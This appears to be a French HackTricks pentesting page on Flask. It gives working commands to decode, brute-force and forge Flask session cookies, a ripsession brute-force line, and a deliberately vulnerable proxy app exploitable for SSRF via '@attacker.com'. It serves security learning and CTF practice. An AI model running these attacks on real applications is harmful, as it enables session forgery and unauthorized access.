Flask
Reading time: 3 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.
Probablement, si vous participez à un CTF, une application Flask sera liée à SSTI.
Cookies
Le nom de session de cookie par défaut est session
.
Décodeur
Décodeur de cookies Flask en ligne : https://www.kirsle.net/wizards/flask-session.cgi
Manuel
Obtenez la première partie du cookie jusqu'au premier point et décodez-la en Base64.
echo "ImhlbGxvIg" | base64 -d
Le cookie est également signé à l'aide d'un mot de passe
Flask-Unsign
Outil en ligne de commande pour récupérer, décoder, forcer par brute force et créer des cookies de session d'une application Flask en devinant les clés secrètes.
pip3 install flask-unsign
Décoder le cookie
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
Brute Force
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
Signature
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
Signature en utilisant des versions anciennes
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
RIPsession
Outil en ligne de commande pour effectuer des attaques par force brute sur des sites web en utilisant des cookies créés avec flask-unsign.
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
SQLi dans le cookie de session Flask avec SQLmap
Cet exemple utilise l'option eval
de sqlmap pour signer automatiquement les charges utiles de sqlmap pour Flask en utilisant un secret connu.
Proxy Flask pour SSRF
Dans cet article, il est expliqué comment Flask permet une requête commençant par le caractère "@":
GET @/ HTTP/1.1
Host: target.com
Connection: close
Dans le scénario suivant :
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
Pourrait permettre d'introduire quelque chose comme "@attacker.com" afin de provoquer un SSRF.
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.